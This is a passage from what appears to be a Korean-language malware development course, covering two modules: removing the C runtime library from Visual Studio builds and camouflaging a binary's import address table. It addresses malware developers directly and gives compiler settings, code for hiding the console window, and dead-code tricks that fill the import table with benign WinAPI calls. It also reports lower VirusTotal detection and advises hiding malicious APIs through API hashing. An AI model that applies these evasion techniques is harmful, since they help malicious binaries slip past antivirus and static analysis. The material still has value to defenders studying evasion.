    

    결과

    암호화된 키를 사용하여 원본 셸코드 바이트를 검색하여 KeyGuard 도구의 사용법과 이점을 보여주었습니다.


    79. CRT 라이브러리 제거 및 멀웨어 컴파일

    CRT 라이브러리 제거 및 멀웨어 컴파일

    소개

    이 모듈 이전까지 모든 코드 프로젝트는 Visual Studio에서 릴리스 또는 디버그 옵션을 사용하여 컴파일되었습니다. 악성코드 개발자는 Visual Studio에서 릴리스와 디버그 컴파일 옵션의 차이점과 기본 컴파일러 설정을 변경하는 것이 어떤 영향을 미치는지 이해하는 것이 중요합니다. Visual Studio의 컴파일러 설정을 변경하면 생성된 바이너리의 크기를 줄이거나 엔트로피를 낮추는 등의 변경 사항이 발생할 수 있습니다.

    릴리스 및 디버그 옵션

    “릴리스” 및 “디버그” 빌드 구성은 모두 프로그램이 컴파일 및 실행되는 방식을 결정하며, 각 옵션은 다른 용도로 사용되며 고유한 기능을 제공합니다. 두 옵션 간의 가장 중요한 차이점은 다음과 같습니다.

    • 성능 – 릴리스 빌드 옵션이 디버그보다 빠릅니다. 일부 빌드 최적화는 릴리스 모드에서 활성화되지만 디버그 모드에서는 비활성화됩니다.
    • 디버깅 – 이 모드에서는 빌드 최적화가 비활성화되어 코드를 더 쉽게 디버깅할 수 있으므로 디버그 빌드 구성으로 생성된 애플리케이션을 디버깅하는 것이 더 쉬워집니다. 또한 디버그 구성은 컴파일된 소스 코드에 대한 정보가 포함된 디버그 심볼 파일(.pdb)을 생성합니다. 이를 통해 디버거는 변수, 함수 및 줄 번호와 같은 추가 정보를 표시할 수 있습니다.
    • 배포 – 일반적으로 Visual Studio에서만 사용할 수 있는 추가 동적 링크 라이브러리(DLL)가 필요한 디버그 버전과 달리 릴리스 버전의 애플리케이션은 사용자의 머신과의 호환성이 향상되어 사용자에게 배포되므로, 디버그 애플리케이션은 Visual Studio가 설치된 머신에서만 호환됩니다.
    • 예외 처리 – 디버그 빌드 구성에서 Visual Studio는 예외가 발생하면 실행을 일시 중지하고 스택 손상을 일으킨 변수 이름이나 줄 번호 등을 지정하여 오류 메시지를 메시지 상자에 표시할 수 있습니다. 릴리스 모드에서 컴파일할 경우 이러한 예외로 인해 프로그램이 충돌할 수 있습니다.

    기본 컴파일러 설정

    앞서 살펴본 내용을 바탕으로 볼 때 릴리스 옵션이 디버그 옵션보다 유리합니다. 그렇긴 하지만 릴리스 옵션에는 여전히 몇 가지 문제가 있습니다.

    • 호환성 – 릴리스 옵션을 사용하는 일부 애플리케이션의 경우 대상 컴퓨터에 Visual Studio가 설치되어 있지 않은 경우에도 아래와 유사한 오류가 발생할 수 있습니다.

    – CRT 가져온 함수 – API 해싱과 같은 방법으로 해결할 수 없는 몇 가지 해결되지 않은 함수가 IAT에 존재합니다. 이러한 함수는 나중에 설명할 CRT 라이브러리에서 가져온 것입니다. 지금은 Visual Studio의 기본 컴파일러 설정으로 생성된 모든 애플리케이션에 사용되지 않는 임포트된 함수가 여러 개 있다는 것을 이해하는 것으로 충분합니다. 예를 들어, ‘Hello World’ 프로그램의 IAT는 printf 함수에 관한 정보만 가져와야 하지만 다음과 같은 함수를 가져오고 있습니다(크기로 인해 출력이 잘림).

    – 크기 – 기본 컴파일러 최적화로 인해 생성된 파일이 실제보다 큰 경우가 많습니다. 예를 들어, 다음 Hello World 프로그램은 약 11KB입니다.

    – 디버깅 정보 – 릴리스 옵션을 사용해도 디버깅 관련 정보 및 보안 솔루션에서 정적 서명을 생성하는 데 사용할 수 있는 기타 문자열을 포함할 수 있습니다. 아래 이미지는 Hello World 프로그램에서 Strings.exe를 실행한 결과의 출력입니다(크기로 인해 출력은 잘림).

    CRT 라이브러리

    Microsoft C 런타임 라이브러리라고도 하는 CRT 라이브러리는 표준 C 및 C++ 프로그램의 기초를 제공하는 저수준 함수 및 매크로 집합입니다. 여기에는 메모리 관리 함수(예: mallocmemsetfree), 문자열 조작 함수(예: strcpystrlen), I/O 함수(예: printfwprintfscanf)가 포함되어 있습니다.

    CRT 라이브러리 DLL의 이름은 vcruntimeXXX.dll이며, 여기서 XXX는 사용된 CRT 라이브러리의 버전 번호입니다. 또한 CRT 라이브러리와 관련된 api-ms-win-crt-stdio-l1-1-0.dllapi-ms-win-crt-runtime-l1-1-0.dll 및 api-ms-win-crt-locale-l1-1-0.dll과 같은 DLL도 있습니다. 각 DLL은 특정 용도로 사용되며 여러 기능을 내보냅니다. 이러한 DLL은 컴파일 시 컴파일러에 의해 링크되므로 생성된 프로그램의 IAT에서 찾을 수 있습니다.

    호환성 문제 해결

    기본적으로 애플리케이션을 컴파일할 때 Visual Studio의 런타임 라이브러리 옵션은 “멀티 스레드 DLL(/MD)”로 설정됩니다. 이 옵션을 사용하면 CRT 라이브러리 DLL이 동적으로 링크되므로 런타임에 로드됩니다. 이로 인해 앞서 언급한 호환성 문제가 발생합니다. 이러한 문제를 해결하려면 아래와 같이 런타임 라이브러리 옵션을 “멀티 스레드(/MT)”로 설정하세요.

    멀티 스레드(/MT)

    Visual Studio 컴파일러는 “멀티 스레드(/MT)” 옵션을 선택하여 CRT 함수를 정적으로 연결하도록 만들 수 있습니다. 이렇게 하면 printf와 같은 함수를 CRT 라이브러리 DLL에서 가져오는 대신 생성된 프로그램에서 직접 표현할 수 있습니다. 이렇게 하면 최종 바이너리의 크기가 커지고 IAT에 더 많은 WinAPI가 추가되지만 CRT 라이브러리 DLL이 제거된다는 점에 유의하세요.

    “멀티 스레드(/MT)” 옵션을 사용하여 Hello World 프로그램을 컴파일하면 다음과 같은 IAT가 생성됩니다.

    아래와 같이 바이너리도 상당히 커집니다.

    CRT 라이브러리 및 디버깅

    CRT 라이브러리를 제거한 후에는 릴리스 모드에서만 프로그램을 컴파일할 수 있습니다. 이렇게 하면 코드를 디버깅하기가 더 어려워집니다. 따라서 디버깅 및 개발이 완료된 후에만 CRT 라이브러리를 제거하는 것이 좋습니다.

    추가 컴파일러 변경 사항

    이전 섹션에서는 CRT 라이브러리를 정적으로 링크하는 방법을 설명했습니다. 그러나 이상적인 해결책은 정적 및 동적으로 CRT 라이브러리에 의존하지 않는 것인데, 이렇게 하면 바이너리 크기가 줄어들고 불필요하게 가져온 함수 및 디버그 정보가 제거될 수 있기 때문입니다. 이를 위해서는 몇 가지 Visual Studio 컴파일 옵션을 수정해야 합니다.

    C++ 예외 비활성화

    C++ 예외 활성화 옵션은 코드에서 발생하는 예외를 올바르게 전파하는 코드를 생성하는 데 사용되지만, CRT 라이브러리가 더 이상 연결되지 않으므로 이 옵션은 필요하지 않으므로 비활성화해야 합니다.

    전체 프로그램 최적화 비활성화

    컴파일러가 스택에 영향을 줄 수 있는 최적화를 수행하지 못하도록 하려면 전체 프로그램 최적화를 비활성화해야 합니다. 이 옵션을 비활성화하면 컴파일된 코드를 완벽하게 제어할 수 있습니다.

    디버그 정보 비활성화

    추가된 디버깅 정보를 제거하려면 디버그 정보 생성 및 매니페스트 생성 옵션을 비활성화합니다.

    모든 기본 라이브러리 무시

    컴파일러가 기본 시스템 라이브러리를 프로그램과 링크하지 않도록 하려면 모든 기본 라이브러리 무시 옵션을 “예(/NODEFAULTLIB)”로 설정합니다. 이렇게 하면 다른 라이브러리뿐만 아니라 CRT 라이브러리의 링크도 제외됩니다. 이 경우 일반적으로 이러한 기본 라이브러리에서 제공하는 모든 필수 기능을 제공하는 것은 사용자의 책임입니다. 아래 이미지는 “예(/NODEFAULTLIB)” 옵션이 설정된 것을 보여줍니다.

    안타깝게도 이 옵션으로 컴파일하면 아래와 같이 몇 가지 오류가 발생합니다.

    진입점 기호 설정

    첫 번째 오류인 “LNK2001 – 해결되지 않은 외부 심볼 mainCRTStartup”은 컴파일러가 “mainCRTStartup” 심볼에 대한 정의를 찾을 수 없음을 의미합니다. 이 문제는 “mainCRTStartup”이 CRT 라이브러리와 연결된 프로그램의 진입점이기 때문에 예상되는 문제이지만, 여기서는 그렇지 않습니다. 이 문제를 해결하려면 아래와 같이 새 진입점 기호를 설정해야 합니다.

    “main” 항목은 소스 코드의 주요 함수를 나타냅니다. 다른 함수를 진입점으로 선택하려면 진입점 기호를 해당 함수의 이름으로 설정하면 됩니다. 다시 컴파일하면 아래와 같이 오류가 줄어듭니다.

    보안 검사 비활성화

    다음 오류인 “LNK2001 – 해결되지 않은 외부 심볼 __security_check_cookie”는 컴파일러에서 “__security_check_cookie” 심볼을 찾지 못했음을 의미합니다. 이 심볼은 스택 버퍼 오버플로를 방지하는 데 도움이 되는 보안 기능인 스택 쿠키 검사를 수행하는 데 사용되는 심볼입니다. 이 문제를 해결하려면 아래와 같이 보안 검사 옵션을 “보안 검사 비활성화(/Gs-)”로 설정하세요.

    SDL 검사 비활성화

    보안 검사를 비활성화하면 오류는 사라지지만 새로운 경고가 표시됩니다.

    “D9025 – ‘/sdl’을 ‘/GS-‘로 재정의” 경고는 보안 개발 수명 주기(SDL) 검사를 비활성화하여 해결할 수 있습니다.

    해결되지 않은 두 가지 기호 오류가 남아 있으며, 이는 아래의 함수 대체 섹션에서 해결되었습니다.

    CRT 라이브러리 함수 교체

    CRT 라이브러리 제거로 인해 두 가지 오류가 해결되지 않은 상태로 남아 있습니다. 프로그램에서 CRT 라이브러리가 제거되었지만 현재 콘솔로 인쇄하는 데 printf 함수가 사용되고 있습니다.

    CRT 라이브러리를 제거할 때는 printfstrlenstrcatmemcpy와 같은 함수의 자체 버전을 작성해야 합니다. 이를 위해 VX-API와 같은 라이브러리를 사용할 수 있습니다. 예를 들어, 문자열 비교를 위한 strcmp 함수를 StringCompare.cpp로 대체할 수 있습니다.

    Printf 교체

    이 모듈에 사용된 데모 프로그램에서 printf 함수는 다음 매크로로 대체됩니다.

    #define PRINTA( STR, ... )                                                                  \
        if (1) {                                                                                \
            LPSTR buf = (LPSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 );           \
            if ( buf != NULL ) {                                                                \
                int len = wsprintfA( buf, STR, __VA_ARGS__ );                                   \
                WriteConsoleA( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL );       \
                HeapFree( GetProcessHeap(), 0, buf );                                           \
            }                                                                                   \
        }

    PRINTA 매크로는 두 개의 인수를 받습니다:

    • STR – 출력을 인쇄하는 방법을 나타내는 형식 문자열입니다.
    • __VA_ARGS__ 또는 ... – 인쇄할 인수입니다.

    PRINTA 매크로는 1024바이트 크기의 힙 버퍼를 할당하고, wsprintfA 함수를 사용하여 형식 문자열(STR)을 사용하여 변수 인수(__VA_ARGS__)의 형식이 지정된 데이터를 버퍼에 씁니다. 그 후, WriteConsoleA WinAPI를 사용하여 결과 문자열을 콘솔에 쓰는데, 이 문자열은 GetStdHandle WinAPI를 통해 얻습니다.

    printf를 PRINTA로 바꾸면 CRT 라이브러리와는 독립적인 Hello World 프로그램이 생성됩니다. 이 코드는 나머지 오류를 모두 해결하고 이제 성공적으로 컴파일할 수 있습니다.

    #include <Windows.h>#include <stdio.h>#define PRINTA( STR, ... )                                                                  \
        if (1) {                                                                                \
            LPSTR buf = (LPSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 );           \
            if ( buf != NULL ) {                                                                \
                int len = wsprintfA( buf, STR, __VA_ARGS__ );                                   \
                WriteConsoleA( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL );       \
                HeapFree( GetProcessHeap(), 0, buf );                                           \
            }                                                                                   \
        }  int main() {
       PRINTA("Hello World ! \n");
       return 0;
    
    }

    CRT 라이브러리 독립 멀웨어 구축

    CRT 라이브러리를 활용하지 않는 멀웨어를 제작할 때 주의해야 할 몇 가지 항목이 있습니다.

    고유 기능 사용

    Visual Studio의 일부 함수와 매크로는 CRT 함수를 사용하여 작업을 수행합니다. 예를 들어 ZeroMemory 매크로는 CRT 함수 memset을 사용하여 지정된 버퍼를 0으로 채웁니다. 이 매크로는 사용할 수 없으므로 개발자는 해당 매크로의 대안을 찾아야 합니다. 이 경우 CopyMemoryEx.cpp 함수를 대체할 수 있습니다.

    또 다른 해결책은 memset과 같은 CRT 기반 함수의 사용자 정의 버전을 수동으로 설정하는 것입니다. 컴파일러가 CRT 내보낸 버전을 사용하는 대신 이 사용자 정의 함수를 처리하도록 강제하는 것입니다. 순차적으로 제로메모리와 같은 매크로도 이 사용자 정의 함수를 사용하게 됩니다.

    이를 보여주기 위해 다음과 같은 방식으로 컴파일러에 사용자 정의 버전의 memset 함수를 지정하고 intrinsic 키워드를 사용하면 됩니다.

    #include <Windows.h>// The `extern` keyword sets the `memset` function as an external function.
    extern void* __cdecl memset(void*, int, size_t);
    
    // The `#pragma intrinsic(memset)` and #pragma function(memset) macros are Microsoft-specific compiler instructions.
    // They force the compiler to generate code for the memset function using a built-in intrinsic function.
    #pragma intrinsic(memset)#pragma function(memset)void* __cdecl memset(void* Destination, int Value, size_t Size) {
    	// logic similar to memset's one
    	unsigned char* p = (unsigned char*)Destination;
    	while (Size > 0) {
    		*p = (unsigned char)Value;
    		p++;
    		Size--;
    	}
    	return Destination;
    }
    
    
    int main() {
    
    	PVOID pBuff = HeapAlloc(GetProcessHeap(), 0, 0x100);
    	if (pBuff == NULL)
    		return -1;
    
        // this will use our version of 'memset' instead of CRT's Library version
    	ZeroMemory(pBuff, 0x100);
    
    	HeapFree(GetProcessHeap(), 0, pBuff);
    
    	return 0;
    }

    콘솔 창 숨기기

    멀웨어가 실행될 때 콘솔 창을 생성해서는 안 되는데, 이는 매우 의심스럽고 사용자가 창을 닫아 프로그램을 종료할 수 있기 때문입니다. 이를 방지하기 위해 진입점 함수를 시작할 때 ShowWindow(NULL, SW_HIDE )를 사용할 수 있지만, 이 경우 시간(밀리초)이 필요하고 눈에 띄는 플래시가 발생할 수 있습니다.

    더 나은 해결책은 Visual Studio 하위 시스템 옵션을 “Windows(/SUBSYSTEM:WINDOWS)”로 설정하여 프로그램을 GUI 프로그램으로 컴파일하도록 설정하는 것입니다.

    데모

    이 모듈에서 설명한 모든 단계를 수행하면 결과가 표시됩니다.

    먼저, 바이너리 크기가 112.5KB에서 약 3KB로 줄어듭니다.

    다음으로, IAT에서 사용하지 않는 기능이 없습니다.

    디버그 정보가 없는 바이너리에서 발견되는 문자열이 더 적습니다.

    마지막으로, CRT 라이브러리를 제거하면 회피 성능이 향상됩니다. 바이너리는 VirusTotal에 두 번 업로드되는데, 첫 번째는 “멀티 스레드(/MT)” 옵션을 사용하여 CRT 라이브러리를 정적으로 연결할 때입니다. 두 번째는 CRT 라이브러리가 완전히 제거된 경우입니다.


    80. IAT 위장

    IAT 위장

    소개

    최종 바이너리 파일에서 C 런타임 라이브러리를 제거하면 IAT에서 사용되지 않는 WinAPI 함수가 모두 삭제됩니다. 그러나 바이너리 파일에서 가져오는 WinAPI 함수가 매우 적은 경우, 특히 API 해싱과 결합하여 가져오는 함수가 0이 될 수도 있는 경우 의심을 받을 수 있습니다.

    멀웨어 개발자는 멀웨어 구현을 정상적으로 보이게 하는 것이 중요합니다. 가짜 IAT로 구현하는 것이 가져온 함수가 없는 것보다 더 효과적입니다. 이 모듈에서는 이 개념에 대해 자세히 설명합니다.

    CRT 라이브러리를 사용하지 않고 이전 모듈에서 설명한 것과 유사하게 컴파일된 IatCamouflage.exe라는 바이너리부터 시작해 보겠습니다.

    #include <Windows.h>int main() {
    
      	// infinite wait
    	WaitForSingleObject((HANDLE)-1, INFINITE);
    	return 0;
    }

    바이너리가 실행되면 프로세스 해커는 프로세스를 분홍색으로 강조 표시하고 마우스를 프로세스 위로 가져가면 메모를 표시합니다. 프로세스 해커는 IAT에 임포트가 없기 때문에 바이너리가 패킹되었다고 가정합니다.

    덤프빈.exe를 사용하여 IatCamouflage.exe가 하나의 함수를 임포트하는지 확인합니다.

    IAT 조작하기

    프로그램의 동작을 변경하지 않는 무해한 WinAPI를 사용하면 IAT를 쉽게 조작할 수 있습니다. 이 작업은 NULL 매개변수를 사용하여 WinAPI를 호출하거나 프로그램에 영향을 주지 않는 더미 데이터에 WinAPI를 사용하여 수행할 수 있습니다. 또한 이러한 함수는 절대 실행되지 않는 if 문에 배치할 수 있지만 일부 컴파일러는 데드 코드 제거를 사용하여 코드의 흐름을 수정할 수 있습니다. 이는 프로그램에 영향을 주지 않는 코드를 제거하기 위한 컴파일러 최적화 설정입니다.

    데드 코드 제거 예시

    다음 코드 스니펫은 충족할 수 없는 if 문 내에서 여러 개의 WinAPI를 호출합니다.

            int z = 4;
    
    	// Impossible if-statement that will never run
    	if (z > 5) {
    
    		// Random benign WinAPIs
    		unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
    		i = GetLastError();
    		i = SetCriticalSectionSpinCount(NULL, NULL);
    		i = GetWindowContextHelpId(NULL);
    		i = GetWindowLongPtrW(NULL, NULL);
    		i = RegisterClassW(NULL);
    		i = IsWindowVisible(NULL);
    		i = ConvertDefaultLocale(NULL);
    		i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
    		i = IsDialogMessageW(NULL, NULL);
    	}

    Visual Studio 프로젝트에 CRT 라이브러리 종속성이 없고 위의 코드를 컴파일하는 경우 WinAPI는 바이너리의 IAT에 표시되지 않습니다. 컴파일러는 if 문을 만족할 수 없음을 알고 있으므로 컴파일된 바이너리에 if 문 로직 전체가 포함되지 않아 WinAPI가 바이너리의 IAT에 표시되지 않습니다. 이 문제를 해결하는 방법에는 두 가지가 있습니다:

    1. 코드 최적화 비활성화.
    2. 컴파일러가 이 코드를 사용한다고 생각하도록 속이는 것입니다.

    코드 최적화 비활성화하기

    이 방법은 간단하며 아래 이미지와 같이 Visual Studio의 최적화 옵션을 비활성화하기만 하면 됩니다. 이렇게 하면 데드 코드 제거 컴파일러 최적화 속성이 비활성화되어 WinAPI가 IAT에 표시됩니다. 그러나 대규모 프로그램에서 최적화를 비활성화하면 컴파일러가 더 이상 코드의 효율성과 속도를 개선하지 않으므로 성능에 부정적인 영향을 미칠 수 있습니다. 따라서 프로그램이 더 많은 메모리를 사용하거나 느리게 작동할 수 있습니다.

    컴파일러 속이기

    이 방법을 사용하려면 컴파일러가 if 문이 유효하다고 믿도록 속이기 위해 로직을 사용해야 합니다. 아래 코드 조각은 컴파일러가 if 문이 실행될지 여부를 알기 어렵게 만드는 로직을 사용하여 if 문이 충족되지 않음에도 불구하고 컴파일된 바이너리에 로직을 포함하도록 합니다.

    다음은 코드 조각에 대한 몇 가지 사항을 이해하기 쉽게 정리한 것입니다.

    • 랜덤 컴파일 타임 시드 함수는 __TIME__ 매크로를 통해 랜덤 컴파일 타임 시드를 생성하는 데 사용됩니다.
    • 헬퍼 함수는 힙 버퍼를 할당하고 처음 4바이트를 RandomCompileTimeSeed() % 0xFF로 설정하여 시드 값이 0xFF (16진수) 또는 255(10진수) 미만이 되도록 제한합니다.
    • IatCamouflage 함수에는 정수 포인터인 변수 A가 포함되어 있으며 헬퍼 함수가 반환하는 버퍼의 처음 4바이트와 같도록 설정됩니다.
    • 도우미 함수는 항상 255보다 작은 값을 반환하므로 if 문 (*A > 350)은 항상 거짓이 됩니다. 여기서 문제는 컴파일러가 이를 알지 못하기 때문에 컴파일된 바이너리에 이 로직이 포함된다는 것입니다.
    // Generate a random compile-time seed
    int RandomCompileTimeSeed(void)
    {
    	return '0' * -40271
    		__TIME__[7] * 1
    		__TIME__[6] * 10
    		__TIME__[4] * 60
    		__TIME__[3] * 600
    		__TIME__[1] * 3600
    		__TIME__[0] * 36000;
    }
    
    
    // A dummy function that makes the if-statement in 'IatCamouflage' interesting
    PVOID Helper(PVOID *ppAddress) {
    
    	PVOID pAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
    	if (!pAddress)
    		return NULL;
    
    	// setting the first 4 bytes in pAddress to be equal to a random number (less than 255)
    	*(int*)pAddress = RandomCompileTimeSeed() % 0xFF;
    
    	// saving the base address by pointer, and returning it
    	*ppAddress = pAddress;
    	return pAddress;
    }
    
    
    // Function that imports WinAPIs but never uses them
    VOID IatCamouflage() {
    
    	PVOID		pAddress	= NULL;
    	int*		A		    = (int*)Helper(&pAddress);
    
    	// Impossible if-statement that will never run
    	if (*A > 350) {
    
    		// some random whitelisted WinAPIs
    		unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
    		i = GetLastError();
    		i = SetCriticalSectionSpinCount(NULL, NULL);
    		i = GetWindowContextHelpId(NULL);
    		i = GetWindowLongPtrW(NULL, NULL);
    		i = RegisterClassW(NULL);
    		i = IsWindowVisible(NULL);
    		i = ConvertDefaultLocale(NULL);
    		i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
    		i = IsDialogMessageW(NULL, NULL);
    	}
    
    	// Freeing the buffer allocated in 'Helper'
    	HeapFree(GetProcessHeap(), 0, pAddress);
    }
    

    결과

    위의 코드 스니펫을 컴파일하고 바이너리의 IAT를 확인합니다. 예상대로 if 문 안에 정상 WinAPI가 표시됩니다.

    이렇게 가져온 함수는 정적으로 분석할 때 바이너리를 정상으로 보이게 하기에 충분합니다. 반면에 악성 WinAPI는 API 해싱을 사용하여 IAT에서 제거해야 합니다.

    Share